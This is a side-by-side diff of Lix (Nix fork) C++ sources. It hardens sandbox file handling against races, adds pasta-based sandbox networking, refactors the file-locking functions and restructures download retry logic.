std::string fn = ".attr-" + hash.to_string(Base::Base32, false); std::string fn = ".attr-" + hash.to_string(Base::Base32, false);
Path p = tmpDir + "/" + fn; Path p = tmpDir + "/" + fn;
writeFile(p, rewriteStrings(i.second, inputRewrites)); /* TODO(jade): we should have BorrowedFD instead of OwnedFD. */
chownToBuilder(p); AutoCloseFD passAsFileFd{openat(tmpDirFd.get(), fn.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
if (!passAsFileFd) {
throw SysError("opening `passAsFile` file in the sandbox '%1%'", p);
}
writeFile(passAsFileFd, rewriteStrings(i.second, inputRewrites));
chownToBuilder(passAsFileFd);
env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
} }
} }
@@ -1360,6 +1388,13 @@ void LocalDerivationGoal::chownToBuilder(const Path & path)
throw SysError("cannot change ownership of '%1%'", path); throw SysError("cannot change ownership of '%1%'", path);
} }
void LocalDerivationGoal::chownToBuilder(const AutoCloseFD & fd)
{
if (!buildUser) return;
if (fchown(fd.get(), buildUser->getUID(), buildUser->getGID()) == -1)
throw SysError("cannot change ownership of file '%1%'", fd.guessOrInventPath());
}
void LocalDerivationGoal::runChild() void LocalDerivationGoal::runChild()
{ {
@@ -1490,7 +1525,7 @@ void LocalDerivationGoal::runChild()
/* N.B. it is realistic that these paths might not exist. It /* N.B. it is realistic that these paths might not exist. It
happens when testing Nix building fixed-output derivations happens when testing Nix building fixed-output derivations
within a pure derivation. */ within a pure derivation. */
for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" }) for (auto & path : { "/etc/services", "/etc/hosts" })
if (pathExists(path)) { if (pathExists(path)) {
// Copy the actual file, not the symlink, because we don't know where // Copy the actual file, not the symlink, because we don't know where
// the symlink is pointing, and we don't want to chase down the entire // the symlink is pointing, and we don't want to chase down the entire
@@ -1511,6 +1546,11 @@ void LocalDerivationGoal::runChild()
copyFile(path, chrootRootDir + path, { .followSymlinks = true }); copyFile(path, chrootRootDir + path, { .followSymlinks = true });
} }
if (pathExists("/etc/resolv.conf")) {
const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf"));
writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf);
}
if (settings.caFile != "" && pathExists(settings.caFile)) { if (settings.caFile != "" && pathExists(settings.caFile)) {
// For the same reasons as above, copy the CA certificates file too. // For the same reasons as above, copy the CA certificates file too.
// It should be even less likely to change during the build than resolv.conf. // It should be even less likely to change during the build than resolv.conf.
@@ -1632,6 +1672,36 @@ void LocalDerivationGoal::runChild()
if (setuid(sandboxUid()) == -1) if (setuid(sandboxUid()) == -1)
throw SysError("setuid failed"); throw SysError("setuid failed");
if (runPasta) {
// wait for the pasta interface to appear. pasta can't signal us when
// it's done setting up the namespace, so we have to wait for a while
AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
if (!fd) throw SysError("cannot open IP socket");
struct ifreq ifr;
strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME);
// wait two minutes for the interface to appear. if it does not do so
// we are either grossly overloaded, or pasta startup failed somehow.
static constexpr int SINGLE_WAIT_US = 1000;
static constexpr int TOTAL_WAIT_US = 120'000'000;
for (unsigned tries = 0; ; tries++) {
if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) {
throw Error(
"sandbox network setup timed out, please check daemon logs for "
"possible error output."
);
} else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) {
if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) {
break;
}
} else if (errno == ENODEV) {
usleep(SINGLE_WAIT_US);
} else {
throw SysError("cannot get loopback interface flags");
}
}
}
setUser = false; setUser = false;
} }
#endif #endif
@@ -2333,7 +2403,9 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
} }
/* Don't register anything, since we already have the /* Don't register anything, since we already have the
previous versions which we're comparing. */ previous versions which we're comparing.
NOTE: this means that the `.check` path will be automatically deleted.
*/
continue; continue;
} }
@@ -2357,8 +2429,13 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
/* If it's a CA path, register it right away. This is necessary if it /* If it's a CA path, register it right away. This is necessary if it
isn't statically known so that we can safely unlock the path before isn't statically known so that we can safely unlock the path before
the next iteration */ the next iteration */
if (newInfo.ca) if (newInfo.ca) {
localStore.registerValidPaths({{newInfo.path, newInfo}}); localStore.registerValidPaths({{newInfo.path, newInfo}});
/* Cancel automatic deletion of that output if it was a scratch output. */
if (auto cleaner = scratchOutputsCleaner.extract(outputName)) {
cleaner.mapped().cancel();
}
}
infos.emplace(outputName, std::move(newInfo)); infos.emplace(outputName, std::move(newInfo));
} }
@@ -2398,6 +2475,13 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
infos2.insert_or_assign(newInfo.path, newInfo); infos2.insert_or_assign(newInfo.path, newInfo);
} }
localStore.registerValidPaths(infos2); localStore.registerValidPaths(infos2);
/* Cancel automatic deletion of that output if it was a scratch output that we just registered. */
for (auto & [outputName, _ ] : infos) {
if (auto cleaner = scratchOutputsCleaner.extract(outputName)) {
cleaner.mapped().cancel();
}
}
} }
/* In case of a fixed-output derivation hash mismatch, throw an /* In case of a fixed-output derivation hash mismatch, throw an
@@ -2431,6 +2515,13 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
builtOutputs.emplace(outputName, thisRealisation); builtOutputs.emplace(outputName, thisRealisation);
} }
/* NOTE: At this point, all outputs MAY NOT have been registered.
* Therefore, there may remains auto-deleters pending in the cleaner list (`scratchOutputsCleaner`).
*
* They will be finally deleted but we have no way to assert they all have been, e.g.
* `assert(scratchOutputsCleaner.size() == 0)` cannot be written.
*/
return builtOutputs; return builtOutputs;
} }
+42 -3
View File
@@ -31,6 +31,11 @@ struct LocalDerivationGoal : public DerivationGoal
*/ */
Path tmpDir; Path tmpDir;
/**
* The temporary directory file descriptor
*/
AutoCloseFD tmpDirFd;
/** /**
* The path of the temporary directory in the sandbox. * The path of the temporary directory in the sandbox.
*/ */
@@ -102,8 +107,6 @@ struct LocalDerivationGoal : public DerivationGoal
* Hash rewriting. * Hash rewriting.
*/ */
StringMap inputRewrites, outputRewrites; StringMap inputRewrites, outputRewrites;
typedef map<StorePath, StorePath> RedirectedOutputs;
RedirectedOutputs redirectedOutputs;
/** /**
* The outputs paths used during the build. * The outputs paths used during the build.
@@ -120,6 +123,19 @@ struct LocalDerivationGoal : public DerivationGoal
* self-references. * self-references.
*/ */
OutputPathMap scratchOutputs; OutputPathMap scratchOutputs;
/**
* Output paths used during the build are scheduled for
* automatic cleanup unless they have been successfully built.
*
* `registerOutputs` take care of cancelling the cleanups
* and clearing this vector.
*
* `startBuilder` take care of filling this vector
* as `scratchOutputs` gets filled.
*
* This is a map from output names to automatic delete handles.
*/
std::map<std::string, AutoDelete> scratchOutputsCleaner;
/** /**
* Path registration info from the previous round, if we're * Path registration info from the previous round, if we're
@@ -246,10 +262,18 @@ struct LocalDerivationGoal : public DerivationGoal
void addDependency(const StorePath & path); void addDependency(const StorePath & path);
/** /**
* Make a file owned by the builder. * Make a file owned by the builder addressed by its path.
*
* SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
* It's only safe to call in a child of a directory only visible to the owner.
*/ */
void chownToBuilder(const Path & path); void chownToBuilder(const Path & path);
/**
* Make a file owned by the builder addressed by its file descriptor.
*/
void chownToBuilder(const AutoCloseFD & fd);
int getChildStatus() override; int getChildStatus() override;
/** /**
@@ -324,6 +348,12 @@ struct LocalDerivationGoal : public DerivationGoal
protected: protected:
using DerivationGoal::DerivationGoal; using DerivationGoal::DerivationGoal;
/**
* Whether to run pasta for network-endowed derivations. Running pasta
* currently requires actively waiting for its net-ns setup to finish.
*/
bool runPasta = false;
/** /**
* Setup dependencies outside the sandbox. * Setup dependencies outside the sandbox.
* Called in the parent nix process. * Called in the parent nix process.
@@ -333,6 +363,15 @@ protected:
throw Error("sandboxing builds is not supported on this platform"); throw Error("sandboxing builds is not supported on this platform");
}; };
/**
* Rewrite resolv.conf for use in the sandbox. Used in the linux platform
* to replace nameservers * when using pasta for fixed output derivations.
*/
virtual std::string rewriteResolvConf(std::string fromHost)
{
return fromHost;
}
/** /**
* Create a new process that runs `openSlave` and `runChild` * Create a new process that runs `openSlave` and `runChild`
* On some platforms this process is created with sandboxing flags. * On some platforms this process is created with sandboxing flags.
+25 -12
View File
@@ -56,7 +56,7 @@ struct curlFileTransfer : public FileTransfer
std::unique_ptr<FILE, decltype([](FILE * f) { fclose(f); })> uploadData; std::unique_ptr<FILE, decltype([](FILE * f) { fclose(f); })> uploadData;
Sync<DownloadState> downloadState; Sync<DownloadState> downloadState;
std::condition_variable downloadEvent; std::condition_variable downloadEvent;
bool headersDone = false; bool headersDone = false, metadataReturned = false;
std::promise<FileTransferResult> metadataPromise; std::promise<FileTransferResult> metadataPromise;
std::string statusMsg; std::string statusMsg;
@@ -193,7 +193,7 @@ struct curlFileTransfer : public FileTransfer
{ {
auto state = downloadState.lock(); auto state = downloadState.lock();
assert(!state->done && !state->exc); assert(!state->done && !state->exc);
if (!headersDone) { if (!metadataReturned) {
metadataPromise.set_exception(ex); metadataPromise.set_exception(ex);
} }
state->exc = ex; state->exc = ex;
@@ -212,15 +212,20 @@ struct curlFileTransfer : public FileTransfer
return; return;
} }
auto status = getHTTPStatus();
char * effectiveUriCStr = nullptr; char * effectiveUriCStr = nullptr;
curl_easy_getinfo(req.get(), CURLINFO_EFFECTIVE_URL, &effectiveUriCStr); curl_easy_getinfo(req.get(), CURLINFO_EFFECTIVE_URL, &effectiveUriCStr);
if (effectiveUriCStr) { if (effectiveUriCStr) {
result.effectiveUri = effectiveUriCStr; result.effectiveUri = effectiveUriCStr;
} }
result.cached = getHTTPStatus() == 304; result.cached = status == 304;
if (successfulStatuses.contains(status)) {
metadataPromise.set_value(result);
metadataReturned = true;
}
metadataPromise.set_value(result);
headersDone = true; headersDone = true;
} }
@@ -786,7 +791,8 @@ struct curlFileTransfer : public FileTransfer
, data(std::move(data)) , data(std::move(data))
, noBody(noBody) , noBody(noBody)
{ {
metadata = withRetries([&] { return startTransfer(uri); }); auto setup = [&] { return startTransfer(uri); };
metadata = withRetries(setup, setup);
} }
~TransferSource() ~TransferSource()
@@ -801,15 +807,17 @@ struct curlFileTransfer : public FileTransfer
} }
} }
auto withRetries(auto fn) -> decltype(fn()) auto withRetries(auto && initial, auto && retry) -> decltype(initial())
{ {
std::optional<std::string> retryContext; std::optional<std::string> retryContext;
while (true) { while (true) {
try { try {
if (retryContext) { if (retryContext) {
attemptRetry(*retryContext); prepareRetry(*retryContext);
return retry();
} else {
return initial();
} }
return fn();
} catch (FileTransferError & e) { } catch (FileTransferError & e) {
// If this is a transient error, then maybe retry after a while. after any // If this is a transient error, then maybe retry after a while. after any
// bytes have been received we require range support to proceed, otherwise // bytes have been received we require range support to proceed, otherwise
@@ -843,7 +851,7 @@ struct curlFileTransfer : public FileTransfer
} }
} }
bool attemptRetry(const std::string & context) void prepareRetry(const std::string & context)
{ {
thread_local std::minstd_rand random{std::random_device{}()}; thread_local std::minstd_rand random{std::random_device{}()};
std::uniform_real_distribution<> dist(0.0, 0.5); std::uniform_real_distribution<> dist(0.0, 0.5);
@@ -855,7 +863,10 @@ struct curlFileTransfer : public FileTransfer
} }
std::this_thread::sleep_for(std::chrono::milliseconds(ms)); std::this_thread::sleep_for(std::chrono::milliseconds(ms));
}
void restartTransfer()
{
// use the effective URI of the previous transfer for retries. this avoids // use the effective URI of the previous transfer for retries. this avoids
// some silent corruption if a redirect changes between starting and retry // some silent corruption if a redirect changes between starting and retry
const auto & uri = metadata.effectiveUri.empty() ? this->uri : metadata.effectiveUri; const auto & uri = metadata.effectiveUri.empty() ? this->uri : metadata.effectiveUri;
@@ -868,13 +879,11 @@ struct curlFileTransfer : public FileTransfer
metadata.immutableUrl.value_or(""), metadata.immutableUrl.value_or(""),
newMeta.immutableUrl.value_or("") newMeta.immutableUrl.value_or("")
); );
return true;
} }
bool awaitData() bool awaitData()
{ {
return withRetries([&] { auto waitForData = [&] {
/* Grab data if available, otherwise wait for the download /* Grab data if available, otherwise wait for the download
thread to wake us up. */ thread to wake us up. */
while (buffered.empty()) { while (buffered.empty()) {
@@ -896,6 +905,10 @@ struct curlFileTransfer : public FileTransfer
} }
return true; return true;
};
return withRetries(waitForData, [&] {
restartTransfer();
return waitForData();
}); });
} }
+15 -8
View File
@@ -93,7 +93,7 @@ void LocalStore::createTempRootsFile()
*fdTempRoots = openLockFile(fnTempRoots, true); *fdTempRoots = openLockFile(fnTempRoots, true);
debug("acquiring write lock on '%s'", fnTempRoots); debug("acquiring write lock on '%s'", fnTempRoots);
lockFile(fdTempRoots->get(), ltWrite, true); lockFile(fdTempRoots->get(), ltWrite);
/* Check whether the garbage collector didn't get in our /* Check whether the garbage collector didn't get in our
way. */ way. */
@@ -129,7 +129,7 @@ void LocalStore::addTempRoot(const StorePath & path)
/* Try to acquire a shared global GC lock (non-blocking). This /* Try to acquire a shared global GC lock (non-blocking). This
only succeeds if the garbage collector is not currently only succeeds if the garbage collector is not currently
running. */ running. */
FdLock gcLock(_fdGCLock.lock()->get(), ltRead, false, ""); FdLock gcLock(_fdGCLock.lock()->get(), ltRead);
if (!gcLock.acquired) { if (!gcLock.acquired) {
/* We couldn't get a shared global GC lock, so the garbage /* We couldn't get a shared global GC lock, so the garbage
@@ -214,7 +214,7 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor)
/* Try to acquire a write lock without blocking. This can /* Try to acquire a write lock without blocking. This can
only succeed if the owning process has died. In that case only succeed if the owning process has died. In that case
we don't care about its temporary roots. */ we don't care about its temporary roots. */
if (lockFile(fd.get(), ltWrite, false)) { if (tryLockFile(fd.get(), ltWrite)) {
printInfo("removing stale temporary roots file '%1%'", path); printInfo("removing stale temporary roots file '%1%'", path);
unlink(path.c_str()); unlink(path.c_str());
writeFull(fd.get(), "d"); writeFull(fd.get(), "d");
@@ -583,7 +583,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
here because then in auto-gc mode, another thread could here because then in auto-gc mode, another thread could
downgrade our exclusive lock. */ downgrade our exclusive lock. */
auto fdGCLock = openGCLock(); auto fdGCLock = openGCLock();
FdLock gcLock(fdGCLock.get(), ltWrite, true, "waiting for the big garbage collector lock..."); FdLock gcLock(fdGCLock.get(), ltWrite, "waiting for the big garbage collector lock...");
/* Synchronisation point to test ENOENT handling in /* Synchronisation point to test ENOENT handling in
addTempRoot(), see tests/gc-non-blocking.sh. */ addTempRoot(), see tests/gc-non-blocking.sh. */
@@ -626,7 +626,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
exclusive lock before deleting them. */ exclusive lock before deleting them. */
if (baseName.find("tmp-", 0) == 0) { if (baseName.find("tmp-", 0) == 0) {
AutoCloseFD tmpDirFd{open(realPath.c_str(), O_RDONLY | O_DIRECTORY)}; AutoCloseFD tmpDirFd{open(realPath.c_str(), O_RDONLY | O_DIRECTORY)};
if (tmpDirFd.get() == -1 || !lockFile(tmpDirFd.get(), ltWrite, false)) { if (tmpDirFd.get() == -1 || !tryLockFile(tmpDirFd.get(), ltWrite)) {
debug("skipping locked tempdir '%s'", realPath); debug("skipping locked tempdir '%s'", realPath);
return; return;
} }
@@ -746,9 +746,16 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
for (auto & path : topoSortPaths(visited)) { for (auto & path : topoSortPaths(visited)) {
if (!dead.insert(path).second) continue; if (!dead.insert(path).second) continue;
if (shouldDelete) { if (shouldDelete) {
invalidatePathChecked(path); try {
deleteFromStore(path.to_string()); invalidatePathChecked(path);
referrersCache.erase(path); deleteFromStore(path.to_string());
referrersCache.erase(path);
} catch (PathInUse &) {
// References to upstream "bugs":
// https://github.com/NixOS/nix/issues/11923
// https://git.lix.systems/lix-project/lix/issues/621
printInfo("Skipping deletion of path '%1%' because it is now in use, preventing its removal.", printStorePath(path));
}
} }
} }
}; };
+5 -1
View File
@@ -88,6 +88,9 @@ Settings::Settings()
#if defined(__linux__) && defined(SANDBOX_SHELL) #if defined(__linux__) && defined(SANDBOX_SHELL)
sandboxPaths.setDefault(tokenizeString<StringSet>("/bin/sh=" SANDBOX_SHELL)); sandboxPaths.setDefault(tokenizeString<StringSet>("/bin/sh=" SANDBOX_SHELL));
#endif #endif
#if defined(__linux__) && defined(PASTA_PATH)
pastaPath.setDefault(PASTA_PATH);
#endif
/* chroot-like behavior from Apple's sandbox */ /* chroot-like behavior from Apple's sandbox */
#if __APPLE__ #if __APPLE__
@@ -244,7 +247,8 @@ StringSet Settings::getDefaultExtraPlatforms()
// x86_64 in aarch64 environments or vice versa since they can // x86_64 in aarch64 environments or vice versa since they can
// always exec with their own binary preferences. // always exec with their own binary preferences.
if (std::string{SYSTEM} == "aarch64-darwin" && if (std::string{SYSTEM} == "aarch64-darwin" &&
runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0) runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"},
.redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}}).first == 0)
extraPlatforms.insert("x86_64-darwin"); extraPlatforms.insert("x86_64-darwin");
#endif #endif
+16 -15
View File
@@ -99,10 +99,10 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd)
curCASchema, nixCASchemaVersion); curCASchema, nixCASchemaVersion);
} }
if (!lockFile(lockFd.get(), ltWrite, false)) { if (!tryLockFile(lockFd.get(), ltWrite)) {
printInfo("waiting for exclusive access to the Nix store for ca drvs..."); printInfo("waiting for exclusive access to the Nix store for ca drvs...");
lockFile(lockFd.get(), ltNone, false); // We have acquired a shared lock; release it to prevent deadlocks unlockFile(lockFd.get()); // We have acquired a shared lock; release it to prevent deadlocks
lockFile(lockFd.get(), ltWrite, true); lockFile(lockFd.get(), ltWrite);
} }
if (curCASchema == 0) { if (curCASchema == 0) {
@@ -169,8 +169,8 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd)
txn.commit(); txn.commit();
} }
writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, true); writeFileAndSync(schemaPath, fmt("%d", nixCASchemaVersion), 0666);
lockFile(lockFd.get(), ltRead, true); lockFile(lockFd.get(), ltRead);
} }
} }
@@ -280,9 +280,9 @@ LocalStore::LocalStore(LocalStoreConfig config)
globalLock = openLockFile(globalLockPath.c_str(), true); globalLock = openLockFile(globalLockPath.c_str(), true);
} }
if (!config_.readOnly && !lockFile(globalLock.get(), ltRead, false)) { if (!config_.readOnly && !tryLockFile(globalLock.get(), ltRead)) {
printInfo("waiting for the big Nix store lock..."); printInfo("waiting for the big Nix store lock...");
lockFile(globalLock.get(), ltRead, true); lockFile(globalLock.get(), ltRead);
} }
/* Check the current database schema and if necessary do an /* Check the current database schema and if necessary do an
@@ -303,7 +303,7 @@ LocalStore::LocalStore(LocalStoreConfig config)
else if (curSchema == 0) { /* new store */ else if (curSchema == 0) { /* new store */
curSchema = nixSchemaVersion; curSchema = nixSchemaVersion;
openDB(*state, true); openDB(*state, true);
writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
} }
else if (curSchema < nixSchemaVersion) { else if (curSchema < nixSchemaVersion) {
@@ -319,10 +319,10 @@ LocalStore::LocalStore(LocalStoreConfig config)
"which is no longer supported. To convert to the new format,\n" "which is no longer supported. To convert to the new format,\n"
"please use the original Nix version 1.11 first."); "please use the original Nix version 1.11 first.");
if (!lockFile(globalLock.get(), ltWrite, false)) { if (!tryLockFile(globalLock.get(), ltWrite)) {
printInfo("waiting for exclusive access to the Nix store..."); printInfo("waiting for exclusive access to the Nix store...");
lockFile(globalLock.get(), ltNone, false); // We have acquired a shared lock; release it to prevent deadlocks unlockFile(globalLock.get()); // We have acquired a shared lock; release it to prevent deadlocks
lockFile(globalLock.get(), ltWrite, true); lockFile(globalLock.get(), ltWrite);
} }
/* Get the schema version again, because another process may /* Get the schema version again, because another process may
@@ -352,9 +352,9 @@ LocalStore::LocalStore(LocalStoreConfig config)
txn.commit(); txn.commit();
} }
writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
lockFile(globalLock.get(), ltRead, true); lockFile(globalLock.get(), ltRead);
} }
else openDB(*state, false); else openDB(*state, false);
@@ -1510,7 +1510,8 @@ std::pair<Path, AutoCloseFD> LocalStore::createTempDirInStore()
if (tmpDirFd.get() < 0) { if (tmpDirFd.get() < 0) {
continue; continue;
} }
lockedByUs = lockFile(tmpDirFd.get(), ltWrite, true); lockFile(tmpDirFd.get(), ltWrite);
lockedByUs = true;
} while (!pathExists(tmpDirFn) || !lockedByUs); } while (!pathExists(tmpDirFn) || !lockedByUs);
return {tmpDirFn, std::move(tmpDirFd)}; return {tmpDirFn, std::move(tmpDirFd)};
} }
@@ -1546,7 +1547,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
/* Acquire the global GC lock to get a consistent snapshot of /* Acquire the global GC lock to get a consistent snapshot of
existing and valid paths. */ existing and valid paths. */
auto fdGCLock = openGCLock(); auto fdGCLock = openGCLock();
FdLock gcLock(fdGCLock.get(), ltRead, true, "waiting for the big garbage collector lock..."); FdLock gcLock(fdGCLock.get(), ltRead, "waiting for the big garbage collector lock...");
StorePathSet validPaths; StorePathSet validPaths;
+2 -2
View File
@@ -90,7 +90,7 @@ struct SimpleUserLock : UserLock
if (!fd) if (!fd)
throw SysError("opening user lock '%s'", fnUserLock); throw SysError("opening user lock '%s'", fnUserLock);
if (lockFile(fd.get(), ltWrite, false)) { if (tryLockFile(fd.get(), ltWrite)) {
auto lock = std::make_unique<SimpleUserLock>(); auto lock = std::make_unique<SimpleUserLock>();
lock->fdUserLock = std::move(fd); lock->fdUserLock = std::move(fd);
@@ -162,7 +162,7 @@ struct AutoUserLock : UserLock
if (!fd) if (!fd)
throw SysError("opening user lock '%s'", fnUserLock); throw SysError("opening user lock '%s'", fnUserLock);
if (lockFile(fd.get(), ltWrite, false)) { if (tryLockFile(fd.get(), ltWrite)) {
auto firstUid = settings.startId + i * maxIdsPerBuild; auto firstUid = settings.startId + i * maxIdsPerBuild;
+7
View File
@@ -79,6 +79,7 @@ libstore_setting_definitions = files(
'settings/narinfo-cache-negative-ttl.md', 'settings/narinfo-cache-negative-ttl.md',
'settings/narinfo-cache-positive-ttl.md', 'settings/narinfo-cache-positive-ttl.md',
'settings/netrc-file.md', 'settings/netrc-file.md',
'settings/pasta-path.md',
'settings/plugin-files.md', 'settings/plugin-files.md',
'settings/post-build-hook.md', 'settings/post-build-hook.md',
'settings/pre-build-hook.md', 'settings/pre-build-hook.md',
@@ -318,6 +319,12 @@ elif busybox.found()
} }
endif endif
if pasta.found()
cpp_str_defines += {
'PASTA_PATH': pasta.full_path(),
}
endif
cpp_args = [] cpp_args = []
foreach name, value : cpp_str_defines foreach name, value : cpp_str_defines
+70 -31
View File
@@ -5,6 +5,7 @@
#include <cerrno> #include <cerrno>
#include <fcntl.h> #include <fcntl.h>
#include <kj/common.h>
#include <sys/types.h> #include <sys/types.h>
#include <sys/stat.h> #include <sys/stat.h>
#include <sys/file.h> #include <sys/file.h>
@@ -35,35 +36,69 @@ void deleteLockFile(const Path & path, int fd)
file is an optimisation, not a necessity. */ file is an optimisation, not a necessity. */
} }
static int convertLockType(LockType lockType)
bool lockFile(int fd, LockType lockType, bool wait)
{ {
int type; if (lockType == ltRead) return LOCK_SH;
if (lockType == ltRead) type = LOCK_SH; else if (lockType == ltWrite) return LOCK_EX;
else if (lockType == ltWrite) type = LOCK_EX;
else if (lockType == ltNone) type = LOCK_UN;
else abort(); else abort();
}
if (wait) { void lockFile(int fd, LockType lockType)
while (flock(fd, type) != 0) { {
checkInterrupt(); int type = convertLockType(lockType);
if (errno != EINTR)
throw SysError("acquiring/releasing lock"); while (flock(fd, type) != 0) {
else checkInterrupt();
return false; if (errno != EINTR)
} throw SysError("acquiring lock");
} else { }
while (flock(fd, type | LOCK_NB) != 0) { }
checkInterrupt();
if (errno == EWOULDBLOCK) return false; bool unsafeLockFileSingleThreaded(int fd, LockType lockType, std::chrono::seconds timeout)
if (errno != EINTR) {
throw SysError("acquiring/releasing lock"); int type = convertLockType(lockType);
}
auto old = signal(SIGALRM, [](int) {});
alarm(timeout.count());
KJ_DEFER({
alarm(0);
signal(SIGALRM, old);
});
while (flock(fd, type) != 0) {
checkInterrupt();
if (errno != EINTR)
throw SysError("acquiring lock");
else
return false;
} }
return true; return true;
} }
bool tryLockFile(int fd, LockType lockType)
{
int type = convertLockType(lockType);
while (flock(fd, type | LOCK_NB) != 0) {
checkInterrupt();
if (errno == EWOULDBLOCK) return false;
if (errno != EINTR)
throw SysError("acquiring lock");
}
return true;
}
void unlockFile(int fd)
{
while (flock(fd, LOCK_UN) != 0) {
if (errno != EINTR) {
throw SysError("releasing lock");
}
}
}
PathLocks::PathLocks() PathLocks::PathLocks()
: deletePaths(false) : deletePaths(false)
@@ -103,10 +138,10 @@ bool PathLocks::lockPaths(const PathSet & paths,
fd = openLockFile(lockPath, true); fd = openLockFile(lockPath, true);
/* Acquire an exclusive lock. */ /* Acquire an exclusive lock. */
if (!lockFile(fd.get(), ltWrite, false)) { if (!tryLockFile(fd.get(), ltWrite)) {
if (wait) { if (wait) {
if (waitMsg != "") printError(waitMsg); if (waitMsg != "") printError(waitMsg);
lockFile(fd.get(), ltWrite, true); lockFile(fd.get(), ltWrite);
} else { } else {
/* Failed to lock this path; release all other /* Failed to lock this path; release all other
locks. */ locks. */
@@ -173,16 +208,20 @@ void PathLocks::setDeletion(bool deletePaths)
} }
FdLock::FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg) FdLock::FdLock(int fd, LockType lockType)
: fd(fd) : fd(fd)
{ {
if (wait) { acquired = tryLockFile(fd, lockType);
if (!lockFile(fd, lockType, false)) { }
printInfo("%s", waitMsg);
acquired = lockFile(fd, lockType, true); FdLock::FdLock(int fd, LockType lockType, std::string_view waitMsg)
} : fd(fd)
} else {
acquired = lockFile(fd, lockType, false); if (!tryLockFile(fd, lockType)) {
printInfo("%s", waitMsg);
lockFile(fd, lockType);
acquired = true;
}
} }
+15 -4
View File
@@ -3,6 +3,7 @@
#include "lix/libutil/error.hh" #include "lix/libutil/error.hh"
#include "lix/libutil/file-descriptor.hh" #include "lix/libutil/file-descriptor.hh"
#include <chrono>
namespace nix { namespace nix {
@@ -18,9 +19,18 @@ AutoCloseFD openLockFile(const Path & path, bool create);
*/ */
void deleteLockFile(const Path & path, int fd); void deleteLockFile(const Path & path, int fd);
enum LockType { ltRead, ltWrite, ltNone }; enum LockType { ltRead, ltWrite };
bool lockFile(int fd, LockType lockType, bool wait); void lockFile(int fd, LockType lockType);
/**
* Same as `lockFile`, but with a timeout. This timeout uses the POSIX `alarm`
* facility and a `SIGALRM` handler. Using this function from multiple threads
* in the same process is not safe: all `SIGALRM` handlers set previously will
* be overwritten while this function is executing and are restored on return.
*/
bool unsafeLockFileSingleThreaded(int fd, LockType lockType, std::chrono::seconds timeout);
bool tryLockFile(int fd, LockType lockType);
void unlockFile(int fd);
class PathLocks class PathLocks
{ {
@@ -46,13 +56,14 @@ struct FdLock
int fd; int fd;
bool acquired = false; bool acquired = false;
FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg); FdLock(int fd, LockType lockType);
FdLock(int fd, LockType lockType, std::string_view waitMsg);
~FdLock() ~FdLock()
{ {
try { try {
if (acquired) if (acquired)
lockFile(fd, ltNone, false); unlockFile(fd);
} catch (SysError &) { } catch (SysError &) {
ignoreExceptionInDestructor(); ignoreExceptionInDestructor();
} }
+129 -4
View File
@@ -1,16 +1,25 @@
#include "lix/libstore/build/worker.hh" #include "lix/libstore/build/worker.hh"
#include "lix/libutil/cgroup.hh" #include "lix/libutil/cgroup.hh"
#include "lix/libutil/file-descriptor.hh"
#include "lix/libutil/file-system.hh"
#include "lix/libutil/finally.hh" #include "lix/libutil/finally.hh"
#include "lix/libstore/gc-store.hh" #include "lix/libstore/gc-store.hh"
#include "lix/libutil/processes.hh"
#include "lix/libutil/signals.hh" #include "lix/libutil/signals.hh"
#include "lix/libstore/platform/linux.hh" #include "lix/libstore/platform/linux.hh"
#include "lix/libutil/regex.hh" #include "lix/libutil/regex.hh"
#include "lix/libutil/strings.hh" #include "lix/libutil/strings.hh"
#include <csignal>
#include <cstdlib>
#include <grp.h> #include <grp.h>
#include <regex> #include <regex>
#include <sys/prctl.h> #include <sys/prctl.h>
#if __linux__
#include <linux/capability.h>
#endif
#if HAVE_SECCOMP #if HAVE_SECCOMP
#include <linux/filter.h> #include <linux/filter.h>
#include <sys/syscall.h> #include <sys/syscall.h>
@@ -61,6 +70,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots)
} }
} }
LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal()
{
// pasta being left around mostly happens when builds are aborted
if (pastaPid) {
pastaPid.kill();
}
}
void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked) void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked)
{ {
auto procDir = AutoCloseDir{opendir("/proc")}; auto procDir = AutoCloseDir{opendir("/proc")};
@@ -836,6 +853,26 @@ void LinuxLocalDerivationGoal::prepareSandbox()
} }
} }
std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost)
{
if (!runPasta) {
